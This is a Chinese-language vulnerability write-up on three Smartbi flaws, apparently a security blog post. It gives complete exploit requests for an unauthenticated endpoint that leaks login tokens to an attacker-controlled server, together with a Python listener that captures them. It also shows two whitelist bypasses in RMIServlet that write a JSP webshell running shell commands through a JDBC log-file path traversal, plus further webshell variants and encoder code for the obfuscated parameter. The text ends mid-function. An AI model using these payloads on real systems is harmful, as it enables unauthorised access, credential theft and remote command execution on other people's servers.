Smartbi系列漏洞详解: 前言: 近期爆出的三个Smartbi产品的漏洞,其主要的漏洞产生原因都是因为没有对用户的访问做限制,或者是攻击者能够通过某些逻辑上的漏洞,绕过限制,对一些敏感的类,或是方法进行访问。
以下将对三个Smartbi中的漏洞进行分析,会首先给出POC,再根据POC给出分析过程和可利用的EXP。
1. /api/monitor/setEngineAddress 权限绕过漏洞 漏洞分析: 首先给出POC:
POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1 Host: 127.0.0.1:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: FQConfigLogined=; FQPassword=; JSESSIONID=BEF47407273964E120DDB8C848EE877C Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Type: text/plain Content-Length: 3 123
向以上接口,以POST方式发送任意值,能够获得以下返回包,即可证明漏洞存在(需要注意的是,Content-Type需要设为text/plain,而非application/x-www-form-urlencoded ):
该漏洞的主要成因,是Smartbi的设计者没有对用户访问以下路径做限制:
接下来开始分析。
首先,在smartbix.datamining.service.MonitorService.class
类中,可以看到对于上述路径的具体操控:
当通过POST方式,传入任何参数的时候,在处理中会调用this.systemConfigService.updateSystemConfig()
函数,将我们传入的任意参数作为engineAddress
传入。
随后,该函数会将我们传入的参数存储后,更新为整个系统中的引擎地址(engineAddress)。
当我们访问engineInfo接口的时候,即可看到更新后的引擎地址,此时engineAddress已经被成功的更新为成了123
随后,我们访问token接口,即可完成对于该漏洞的利用。
具体可以在MonitorService.class
类中找到对该接口的处理:
@FunctionPermission({"NOT_LOGIN_REQUIRED"}) public void getToken (@RequestBody String type) throws Exception { String token = this .catalogService.getToken(10800000L ); if (StringUtil.isNullOrEmpty(token)) { throw SmartbiXException.create(CommonErrorCode.NULL_POINTER_ERROR).setDetail("token is null" ); } else if (!"SERVICE_NOT_STARTED" .equals(token)) { Map<String, String> result = new HashMap (); result.put("token" , token); if ("experiment" .equals(type)) { EngineApi.postJsonEngine(EngineUrl.ENGINE_TOKEN.name(), result, Map.class, new Object [0 ]); } else if ("service" .equals(type)) { EngineApi.postJsonService(ServiceUrl.SERVICE_TOKEN.name(), result, Map.class, new Object []{EngineApi.address("service-address" )}); } } }
再这部分代码中,首先在开头注明了,/token
路径,无需登录即可访问,这是漏洞能够触发的基础。
当进入程序块后,会通过
String token = this .catalogService.getToken(10800000L );
进行token获取。这里看一下调用链条中的一个可能会坑的判定条件:
这个a用于标识框架是否运行,如果在本地复现环境的时候,没有启动用户界面框架,会导致漏洞利用失败,此时,将a设置为true即可。
当通过上述方法获取到了token了之后,随即向下走:
我们需要调用的函数是在if中的EngineApi.postJsonEngine()
,为了进入if,我们POST传入参数的时候,必须传入一个experiment
。
随后查看一下postJsonEngine()
方法的具体调用逻辑:
可以看到这里,postJsonEngine方法首先会通过EngineUrl.getUrl()
函数,获取一个url,随后通过HttpKit.postJson()
函数,将token作为data的值,将它post过去。
这里详细看getUrl的调用链:
可以看到这里,获取了SystemConfigService中,键为ENGINE_ADDRESS
的值。
这里也就是我们之前设置的EngineAddress的值,将其作为url返回。
接下来,当程序执行到HttpKit.postJson()
的时候,便会将token通过POST的方式,以JSON的格式发送到我们设置的url地址上。
因此我们只需发送以下request请求包,nc监听对应的端口,即可在个人vps上获取到token:
坑点解析: 理论上来说,只要我们带着这个token的值去访问loginByToken路径,就能够获取到可以登录的session值。
但是很不幸的是,这里的token是不能使用 的,主要的问题出在这里:
当smartbi向我们的vps发送token的时候,POST请求最后的发送点在HttpKit.class#exe()
方法中 :
可以发现,在第一个红框中,会获取smartbi发送请求后获得的响应值response
,因此,我们的服务器端需要给出一个返回值。
在接下来的第二个红框中,会尝试将返回的response
中的body部分,以json格式进行值的获取。这里告诉我们,vps返回的response
必须是以json格式类型返回。
当上述解析成功之后,继续跟入,会来到EntityInsertAction.class
的afterTransactionCompletion()
方法。
这里的ck,就是Smartbi发送到用户端的token值。
随后通过第二个红框中的persister.getCache().afterInsert()
方法,将这个token存入对应的变量中,就是下面图片中的this.cache.update
函数。
当我们对loginByToken()
函数调用的时候,实际上就是调用这里存入的token值进行比对,如果比对成功即可登录。
因此,如果我们没有在vps中返回一个json格式的任意返回值,就不会调用到afterTransactionCompletion()方法,也就不能将token值存入变量,用于对比,自然也就登录失败了。
这里查看一下MonitorService.class
类中,loginByToken()
方法的调用链:
这里一路跟入,查看调用链:
可以发现,最后来到了AbstractDAO.class
中的load()
方法中。其中,第一个红框中的判断,当第一次访问的时候就是null,但是会在使用token访问后,留下缓存,如果上次访问出现问题,抛出异常,会返回一个null。
第一次访问时:
第二次访问时会查看上次的缓存,如果上次访问失败,或是出现异常,会返回一个null:
继续调用load方法,接下来会来到:
DefaultLoadEventListener.class#loadFromSecondLevelCache()
方法。
可以看到这里ce
的值,是通过persister.getCache().get(ck,source.getTimestamp())
函数获得的,这里就是在把用户传入的token
(也就是ck
),与我们之前存入的ck
值作比较。成功,ce
的值就不会为null,也就是登录成功。
正确利用漏洞的方案: 经过以上分析,我们不难知道,我们需要在服务器上开启一个监听某个端口的简单服务,当接收到Smartbi发送的token值的时候,返回一个json格式的任意值的响应包,才能正常的使用token。
这里我使用Python3简单实现了一个服务:
import jsonfrom http.server import BaseHTTPRequestHandler, HTTPServerclass JSONHandler (BaseHTTPRequestHandler ): def _set_response (self, status_code=200 , content_type='application/json' ): self.send_response(status_code) self.send_header('Content-type' , content_type) self.end_headers() def do_POST (self ): content_length = int (self.headers['Content-Length' ]) post_data = self.rfile.read(content_length) json_data = json.loads(post_data) print ("Received JSON:" , json_data) response_data = { "message" : "JSON received and processed successfully" } response = json.dumps(response_data).encode('utf-8' ) self._set_response() self.wfile.write(response) def run (server_class=HTTPServer, handler_class=JSONHandler, port=2333 ): server_address = ('' , port) httpd = server_class(server_address, handler_class) print (f"Listening on port {port} " ) httpd.serve_forever() if __name__ == '__main__' : run()
当发送了token后,VPS上接收到:
接下来,向login路径,发送获取到的token值。
将返回的Cookie获取下来,带着访问,即可绕过登录。
2. /vision/RMIServlet?windowUnloading参数,逻辑漏洞 漏洞分析: 首先还是给出POC:
POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1 Host: localhost:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: FQConfigLogined=; JSESSIONID=AA35FAB6507174C68D84297771E71345; Phpstorm-4588ec75=9665af70-58e7-4baf-8fce-3fbfb54208c8 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Type: text/plain Content-Length: 32 className=&methodName=¶ms=[]
当发送了以上请求包后,能够从返回包中获取如下内容:
即可证明漏洞存在。
该漏洞的主要成因,是在于开发者在处理用户对/vision/RMIServlet
这条路径的访问逻辑的时候,出现了逻辑错误。
接下来开始分析。
当用户访问/vision/RMIServlet
这条路径的时候,会首先经过smartbi.freequery.filter.CheckIsLoggedFilter.class
类,通过其中的doFilter()
函数进行一个过滤。
这个函数的主要目的是,以正确的方式获取请求中传入的三个参数,分别是类名(className),方法名(methodName),参数(params)。
在这个函数里,开发者一共提供了三种方式来获取分别是:
1、当请求的路径中参数以windowUnloading开头时,
则通过url解码,然后调用一个解密函数来获取三个值。
2、如果不是以windowUnloading开头,则从请求体流中获取三个值:
3、如果不是上述两种情况,则从请求中获取三个值:
当获取了三个值后,通过解密函数RMICoder.decode()
,随后将其赋值给className
,methodName
,params
这三个变量:
随后一路正常跟进,来到这里的判定:
在这个FilterUtil.needToCheck()
函数中,会检查一个包含类名和方法名的白名单,当满足白名单,即可返回false,继续下一部分判断:
这里我们通过windowUnloading
参数传入的类是UserService
类,方法是checkVersion()
方法,在白名单中。
因此直接过了这部分的检测,继续下一部分的程序。
跟进到smartbi.framework.rmi.RMIServlet.class
类中,因为我们使用的POST方式传参数,因此此时调用到doPost()
方法:
在红框这部分的代码中,可以发现出现了一个很大的逻辑问题,这里的rmiInfo
变量原本应该是我们通过windowUnloading参数传入的类名,方法名和参数值,但是这里通过RMIUtil.parseRMIInfo()
函数,通过POST中的参数,重新给三个值赋了一次值。
这里是我随便传入的几个值。
随后,程序会步入到processExecute()函数中,这里看一下调用链:
可以发现,这里最后调用的this.e
实际上是一个HashMap的名单,也就是在this.e
中,查找上述获取的className
是否存在。
只要获取到的className存在于this.e
中,就可以继续接下来的程序。
使用将params以json格式进行解析,随后调用service.execute()方式,这里最后将会通过反射方式调用我们给出的类中的方法:
基于Smartbi中DataSourceService类的JDBC任意文件写入: 通过上述分析,我们可以知道,当使用windowUnloading进行绕过之后,我们实际上是可以调用this.e
这个hashmap
中的任意类的任意方法,同时传递任意参数的。
这里我首先给出可以使用的EXP,随后根据exp来对该漏洞的利用方式进行分析,其中会包含一些坑点,以及问题。
exp如下:
POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1 Host: localhost:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: FQConfigLogined=; JSESSIONID=9F4B22AFDE785C86FB33687608795655; Phpstorm-4588ec75=9665af70-58e7-4baf-8fce-3fbfb54208c8 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Content-Type: application/x-www-form-urlencoded Content-Length: 2525 className=DataSourceService&methodName=testConnectionList¶ms=%5b%5b%7b%22%70%61%73%73%77%6f%72%64%22%3a%22%22%2c%22%6d%61%78%43%6f%6e%6e%65%63%74%69%6f%6e%22%3a%31%30%30%2c%22%75%73%65%72%22%3a%22%22%2c%22%64%72%69%76%65%72%54%79%70%65%22%3a%22%50%4f%53%54%47%52%45%53%51%4c%22%2c%22%76%61%6c%69%64%61%74%69%6f%6e%51%75%65%72%79%22%3a%22%53%45%4c%45%43%54%20%31%22%2c%22%75%72%6c%22%3a%22%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%35%34%33%32%2f%74%65%73%74%3f%41%70%70%6c%69%63%61%74%69%6f%6e%4e%61%6d%65%3d%78%78%78%75%73%65%72%3d%74%65%73%74%26%70%61%73%73%77%6f%72%64%3d%74%65%73%74%26%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%44%45%42%55%47%26%6c%6f%67%67%65%72%46%69%6c%65%3d%2e%2e%2f%77%65%62%61%70%70%73%2f%73%6d%61%72%74%62%69%2f%76%69%73%69%6f%6e%2f%63%6d%64%73%68%65%6c%6c%2e%6a%73%70%26%3c%25%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%5c%22%7e%7e%7e%5c%22%29%3b%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%6e%65%77%20%53%74%72%69%6e%67%28%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%2e%74%6f%42%79%74%65%41%72%72%61%79%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%5c%22%63%6d%64%5c%22%29%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%29%3b%25%3e%22%2c%22%6e%61%6d%65%22%3a%22%74%65%73%74%22%2c%22%64%72%69%76%65%72%22%3a%22%6f%72%67%2e%70%6f%73%74%67%72%65%73%71%6c%2e%44%72%69%76%65%72%22%2c%22%69%64%22%3a%22%22%2c%22%64%65%73%63%22%3a%22%22%2c%22%61%6c%69%61%73%22%3a%22%22%2c%22%64%62%43%68%61%72%73%65%74%22%3a%22%22%2c%22%69%64%65%6e%74%69%66%69%65%72%51%75%6f%74%65%53%74%72%69%6e%67%22%3a%22%5c%22%22%2c%22%74%72%61%6e%73%61%63%74%69%6f%6e%49%73%6f%6c%61%74%69%6f%6e%22%3a%2d%31%2c%22%76%61%6c%69%64%61%74%69%6f%6e%51%75%65%72%79%4d%65%74%68%6f%64%22%3a%30%2c%22%64%62%54%6f%43%68%61%72%73%65%74%22%3a%22%22%2c%22%61%75%74%68%65%6e%74%69%63%61%74%69%6f%6e%54%79%70%65%22%3a%22%53%54%41%54%49%43%22%2c%22%64%72%69%76%65%72%43%61%74%61%6c%6f%67%22%3a%6e%75%6c%6c%2c%22%65%78%74%65%6e%64%50%72%6f%70%22%3a%22%7b%5c%22%6d%61%78%57%61%69%74%43%6f%6e%6e%65%63%74%69%6f%6e%54%69%6d%65%5c%22%3a%2d%31%2c%5c%22%61%6c%6c%6f%77%45%78%63%65%6c%49%6d%70%6f%72%74%5c%22%3a%66%61%6c%73%65%2c%5c%22%61%70%70%6c%79%54%6f%53%6d%61%72%74%62%69%78%44%61%74%61%73%65%74%5c%22%3a%66%61%6c%73%65%2c%5c%22%63%61%74%61%6c%6f%67%54%79%70%65%5c%22%3a%5c%22%50%72%6f%64%75%63%74%42%75%69%6c%74%49%6e%5c%22%7d%22%7d%5d%5d
接下来根据exp进行分析:
首先,这里的文件写入,主要是利用的jdbc存在一个可以在url中指定日志文件的特性。
不难看出,我们此时调用的是DataSourceService
类中的testConnectionList()
方法,同时,将我们传入的参数进行url解码后,可以得到如下结果。
[[{"password":"","maxConnection":100,"user":"","driverType":"POSTGRESQL","validationQuery":"SELECT 1","url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/cmdshell.jsp&<%out.println(\"~~~\");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream())));%>","name":"test","driver":"org.postgresql.Driver","id":"","desc":"","alias":"","dbCharset":"","identifierQuoteString":"\"","transactionIsolation":-1,"validationQueryMethod":0,"dbToCharset":"","authenticationType":"STATIC","driverCatalog":null,"extendProp":"{\"maxWaitConnectionTime\":-1,\"allowExcelImport\":false,\"applyToSmartbixDataset\":false,\"catalogType\":\"ProductBuiltIn\"}"}]]
这里关键的漏洞利用部分就是url对应的参数。
"url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/cmdshell.jsp&<%out.println(\"~~~\");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream())));%>"
开始跟一下调用链:
这里找到入口testConnectionList()
函数,并给出一个调用栈。
这里最关键的写文件函数在org.postgresql.Driver.class#connect()
中,这里让我们详细分析一下写文件的原理:
整个函数中,最关键的函数是这三个
parseURL()函数: 该函数会对我们传入的url进行解析,以获取其中的参数。具体的解析参数的逻辑如下:
parseURL()
函数会以&作为分割,将url中的参数分割为数个字符串。
随后,依次遍历所有被分割出来的字符串,通过pos = token.indexOf(61);
检测字符串中是否存在=
号。
当存在=
,也就是pos不为-1时,就会以=
为标识对字符串做分割,将其作为一个键值对,对值进行url解码 ,随后存入对应的变量中。如果没有等号,就将整个字符串作为键,值设为""
。
这里的url解码需要注意一下,会涉及到后面的一个坑点 。
当这段函数循环处理了我们的url之后,可以得到如下的一个数组:
此时可以发现,我们指定的日志文件路径和日志文件名,已经被作为loggerFile键对应的值被解析出来了。
this.setupLoggerFromProperties()函数: 这个函数用于处理日志文件,跟入其中之后,可以看到它对于我们上述参数的处理
首先在第一个红框中,是在读取loggerLevel,也就是日志文件等级,这里如我们之前设置的一样,是DEBUG,这里不能设置为OFF,否则会失败。
随后在第二个红框中,可以看到它读取了我们设置的文件路径,因为这里没有做任何文件路径的限制,所以可以通过../
从当前路径退出,让我们将文件写入到我们想要的地方。
LOGGER.log()函数: 这个函数的作用很简单,就是将我们传入的url写入到日志文件中,而这个日志文件,也就是我们之前设定好的路径下的cmdShell.jsp文件。
而这个时候,我们的恶意代码就会作为url的一部分,被嵌入到我们设定好的日志文件中去。
这里让我们看一下本地生成的文件:
可以看到,这里我们成功的在一大串报错中嵌入成功了一段jsp代码,当我们访问这个文件的时候,即可达成jsp代码的执行,而剩余的报错,只会被以文本的方式进行解读。
以此,我们即可实现依托于Runtime类的exec命令执行。
坑点解析: 虽然我们现在已经可以实现命令执行了,但是只是使用Runtime类进行的最简陋的命令执行效果。
但当我们尝试使用同样的方法进行更复杂的文件写入,例如希望尝试写入一串哥斯拉的jsp马,或是更复杂的命令执行的时候,我们会遇到一些小小的坑点。
这里让我们回过头来看我们写入的代码和parseURL()函数中的url解析逻辑:
假设我们想要通过url写入一串同时带有=
和%
的jsp代码如下:
ApplicationName=xxxuser=test&hhh=<% String test = new String ()%>
此时,我们不难发现,根据parseURL()函数的解析规则,这段URL中的参数会被&分割为两个字符串:
ApplicationName : xxxuser=test
hhh : <% String test = new String ()%>
随后再对这两个字符串依次进行处理。也就是以等号为分割,将它转换为一个键值对。
此时,对于第二个字符串来说,键名是hhh,而值则是我们构造的jsp代码。
这个时候就出现问题了,在之前提过,当进行值的存储的时候,会将值首先进行依次URL解码。此时,程序就会将<% String
这里的%
误认为是某个url编码的值的标识符,但是它无法进行解析,于是会抛出错误。
当然,可能会有人希望通过编码的方式来进行绕过,但是这样也是不可行的。
当我们将上述的jsp程序url编码为以下字符串的时候:
%3c%25%20%53%74%72%69%6e%67%20%74%65%73%74%20%3d%20%6e%65%77%20%53%74%72%69%6e%67%28%29%25%3e
他确实可以进行绕过,但是当我们访问最后的jsp文件的时候会发现,上述的url编码被原样写入到文件中了:
也就导致我们无法正确运行程序。
正确利用漏洞的方案: 因此,这里最好的利用方式,还是创建一个可以写入文件的简单的后门马,随后利用这个后门马,在我们想要的地方写入我们需要的纯净的程序。
例如:
<%out.println("success" );new java .io.FileOutputStream(request.getParameter("filename" )).write(request.getParameter("content" ).getBytes()); %>
又或者是简单的使用命令执行的效果:
<%out.println("&&&&" );out.println(new String (org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter("cmd" )).getInputStream())));out.println("&&&&" )%>
3. /vision/RMIServlet?windowUnloading参数,Multipart逻辑漏洞 漏洞分析: 这里直接给出EXP:
POST /smartbi/vision/RMIServlet?windowUnloading=%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1 Host: localhost:18080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 Content-Length: 1189 Content-Type: multipart/form-data;charset=UTF-8;boundary=----WebKitFormBoundaryrGKCBY7qhFd3TrwA Accept-Encoding: gzip, deflate Connection: close ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="className" DataSourceService ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="methodName" testConnectionList ------WebKitFormBoundaryrGKCBY7qhFd3TrwA Content-Disposition: form-data; name="params" [[{"password":"","maxConnection":100,"user":"","driverType":"POSTGRESQL","validationQuery":"SELECT 1","url":"jdbc:postgresql://localhost:5432/test?ApplicationName=xxxuser=test&password=test&loggerLevel=DEBUG&loggerFile=../webapps/smartbi/vision/0DFCC1b8f1Db599F.jsp&<%out.println(\"~~~\");out.println(new String(org.apache.commons.io.IOUtils.toByteArray(java.lang.Runtime.getRuntime().exec(request.getParameter(\"cmd\")).getInputStream())));%>","name":"test","driver":"org.postgresql.Driver","id":"","desc":"","alias":"","dbCharset":"","identifierQuoteString":"\"","transactionIsolation":-1,"validationQueryMethod":0,"dbToCharset":"","authenticationType":"STATIC","driverCatalog":null,"extendProp":"{\"maxWaitConnectionTime\":-1,\"allowExcelImport\":false,\"applyToSmartbixDataset\":false,\"catalogType\":\"ProductBuiltIn\"}"}]] ------WebKitFormBoundaryrGKCBY7qhFd3TrwA
在上面的windowUnloading参数绕过漏洞出现之后,官方随即通过补丁进行了修复:
public int patch (HttpServletRequest request, HttpServletResponse response, FilterChain chain) { return this .assertQueryString(request); } private int assertQueryString (HttpServletRequest request) { String query = request.getQueryString(); if (StringUtil.isNullOrEmpty(query)) { return 0 ; } else if (!query.startsWith("windowUnloading" )) { return 0 ; } else if (!query.startsWith("windowUnloading=&" ) && !query.startsWith("windowUnloading&" )) { return 1 ; } else { String paramClassName = request.getParameter("className" ); String paramMethodName = request.getParameter("methodName" ); if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) { try { String content = "" ; String windowUnloadingStr = query.length() > "windowUnloading" .length() && query.charAt("windowUnloading" .length()) == '=' ? "windowUnloading=&" : "windowUnloading&" ; if (query.length() > windowUnloadingStr.length()) { content = query.substring(windowUnloadingStr.length()); if (content.endsWith("=" )) { content = content.substring(0 , content.length() - 1 ); } content = URLDecoder.decode(content, "UTF-8" ); } String urlClassName = "" ; String urlMethodName = "" ; if (content.indexOf("className=" ) == -1 && content.indexOf("methodName=" ) == -1 ) { String[] decode = RMICoder.decode(content); urlClassName = decode[0 ]; urlMethodName = decode[1 ]; } else { Map<String, String> map = HttpUtil.parseQueryString(content); urlClassName = (String)map.get("className" ); urlMethodName = (String)map.get("methodName" ); } if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) { return 0 ; } else { return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1 ; } } catch (Exception var10) { return 0 ; } } else { return 0 ; } }
可以看到函数中,对于上面的windowUnloading绕过的防御方式是这样的:
if (StringUtil.isNullOrEmpty(urlClassName) && StringUtil.isNullOrEmpty(urlMethodName)) { return 0 ; } else { return paramClassName.equals(urlClassName) && paramMethodName.equals(urlMethodName) ? 0 : 1 ; }
首先判断,至少通过url中的windowUnloading参数或者是post等请求方式传递了类名和方法名。
随后,判断windowUnloading和post等请求方式中的类名和方法名是否相同,相同返回0,也就表示继续执行dofilter,如果不相同,则返回1,表示程序结束。
其中,paramClassName,paramMethodName两个值是通过request.getParameter()
函数获取的。
String paramClassName = request.getParameter("className" );String paramMethodName = request.getParameter("methodName" );if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName)) {
理论上来说,确实可以防住,但是实际上存在问题。
实际上request.getParameter()
这个函数,只能够用于获取get,post请求方法发送的值,但是如果我们尝试通过Multipart
方式进行传参,则只会获得一个null值。
也就是说,如果我们通过Multipart方式进行传参,会直接无法通过这段if判断。
if (!StringUtil.isNullOrEmpty(paramClassName) && !StringUtil.isNullOrEmpty(paramMethodName))
导致下面的一系列检查直接失效,直接返回代表继续的0。
也就是说,我们现在windowUnloading方式传入的类和方法以及参数,与我们使用Multipart方式传入的类、方法、参数是不一样的。
当绕过了白名单判定后,在解析过程中,就会重新读取我们请求体中给出的参数。
也就是说,这里我们最后还是可以调用到DataSourceService类,完成日志文件的写入。
恶意利用方式和之前没有任何区别。
扩展: 实际上这里应该还有更多的恶意利用方式,根据之前的不同的Smartbi漏洞来看,一般来说主要能够进行利用的就是DataSourceService这个类,以及checkUserVersion这个类。
前者的主要利用方式可以有JNDI注入,可以直接加载一个恶意类,或者是恶意字节码,完成代码级别的命令执行,也可以直接通过我上述的漏洞利用方式,通过写文件来进行getshell,或者,因为在这个类中存在一个sql语句的控制,实际上也可以通过控制这个sql语句来进行sql注入,通过mysql来进行提权。
如果是利用到checkUserVersion这个类,大部分时候是用于对cookie进行窃取,然后达成登录绕过的效果。
在这里的利用中,我一般会通过加密的方式进行,这里是调用的他自身的加密解密类,虽然看起来是让他能够不容易被分析,但是实际上也产生了一定的流量加密的效果。
这里我整理了一下加密函数和解密函数,用于更方便的进行类的调用:
加密函数
import java.io.UnsupportedEncodingException;class Encryption { private static byte [] encodeArray = new byte [256 ]; static { for (int i = 0 ; i < encodeArray.length; i++) { encodeArray[i] = (byte ) i; } } public static void main (String[] args) { encode test = new encode (); String input = "UserService+checkVersion+%5B%222023-03-31%2018%3A56%3A53%22%5D" ; byte [] encodedData = test.encode(input); String encodedString = test.byteArrayToStrByUTF8(encodedData); System.out.println(encodedString); } } class encode { private static byte [] encodeArray = new byte []{0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 32 , 87 , 0 , 0 , 0 , 47 , 0 , 56 , 97 , 89 , 84 , 43 , 0 , 103 , 106 , 37 , 113 , 49 , 121 , 78 , 114 , 112 , 110 , 48 , 76 , 55 , 123 , 0 , 0 , 0 , 0 , 0 , 0 , 40 , 88 , 120 , 115 , 41 , 77 , 107 , 71 , 104 , 53 , 52 , 80 , 54 , 51 , 65 , 33 , 117 , 105 , 108 , 68 , 90 , 66 , 83 , 122 , 81 , 86 , 93 , 0 , 91 , 0 , 102 , 0 , 69 , 119 , 73 , 109 , 126 , 45 , 118 , 100 , 99 , 82 , 116 , 75 , 57 , 39 , 79 , 101 , 46 , 72 , 42 , 67 , 50 , 74 , 111 , 70 , 95 , 85 , 58 , 0 , 0 , 98 , 0 }; public byte [] encode(String dataStr) { byte [] data = strToByteArrayByUTF8(dataStr); for (int i = 0 ; i < data.length; i++) { byte tmp = data[i]; for (int j = 0 ; j < encodeArray.length; j++) { if (encodeArray[j] == tmp) { data[i] = (byte ) j; break ; } } } return data; } public byte [] strToByteArrayByUTF8(String dataStr) { try { return dataStr.getBytes("UTF-8" ); } catch (UnsupportedEncodingException var2) { throw new RuntimeException (var2); } } public String byteArrayToStrByUTF8 (byte [] dataByte) { try { return new String (dataByte, "UTF-8" ); } catch (UnsupportedEncodingException var2) { throw new RuntimeException (var2); } } }
解密函数
import smartbi.SmartbiException;import smartbi.util.CommonErrorCode;import java.io.UnsupportedEncodingException;class Decryption { public static void main (String[] args) { decode test = new decode (); String a, data3; byte [] data, data2; a = "zDp4Wp4gRip+iIpiGZp4DRw6+/JV/uuu7uNf7NfN1/u71'/NOJM/NOJN/uu/JT" ; data = test.strToByteArrayByUTF8(a); data2 = test.decode(data); data3 = test.byteArrayToStrByUTF8(data2); System.out.println(data3); } } class decode { private static byte [] decodeArray = new byte []{0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 32 , 87 , 0 , 0 , 0 , 47 , 0 , 56 , 97 , 89 , 84 , 43 , 0 , 103 , 106 , 37 , 113 , 49 , 121 , 78 , 114 , 112 , 110 , 48 , 76 , 55 , 123 , 0 , 0 , 0 , 0 , 0 , 0 , 40 , 88 , 120 , 115 , 41 , 77 , 107 , 71 , 104 , 53 , 52 , 80 , 54 , 51 , 65 , 33 , 117 , 105 , 108 , 68 , 90 , 66 , 83 , 122 , 81 , 86 , 93 , 0 , 91 , 0 , 102 , 0 , 69 , 119 , 73 , 109 , 126 , 45 , 118 , 100 , 99 , 82 , 116 , 75 , 57 , 39 , 79 , 101 , 46 , 72 , 42 , 67 , 50 , 74 , 111 , 70 , 95 , 85 , 58 , 0 , 0 , 98 , 0 }; public decode () { } public byte [] strToByteArrayByUTF8(String dataStr) { try { return dataStr.getBytes("UTF-8" ); } catch (UnsupportedEncodingException var2) { throw new SmartbiException (CommonErrorCode.UNKOWN_ERROR, var2); } } public byte [] decode(byte [] dataByte) { int i = 0 ; for (int j = 0 ; j < dataByte.length; ++j) { byte tmp = dataByte[i]; if (tmp > 0 && tmp < decodeArray.length) { byte encodeChar = decodeArray[tmp]; if (encodeChar != 0 ) { dataByte[i] = encodeChar; } } ++i; } return dataByte; } public String byteArrayToStrByUTF8 (byte [] dataByte) { try { return new String (dataByte, 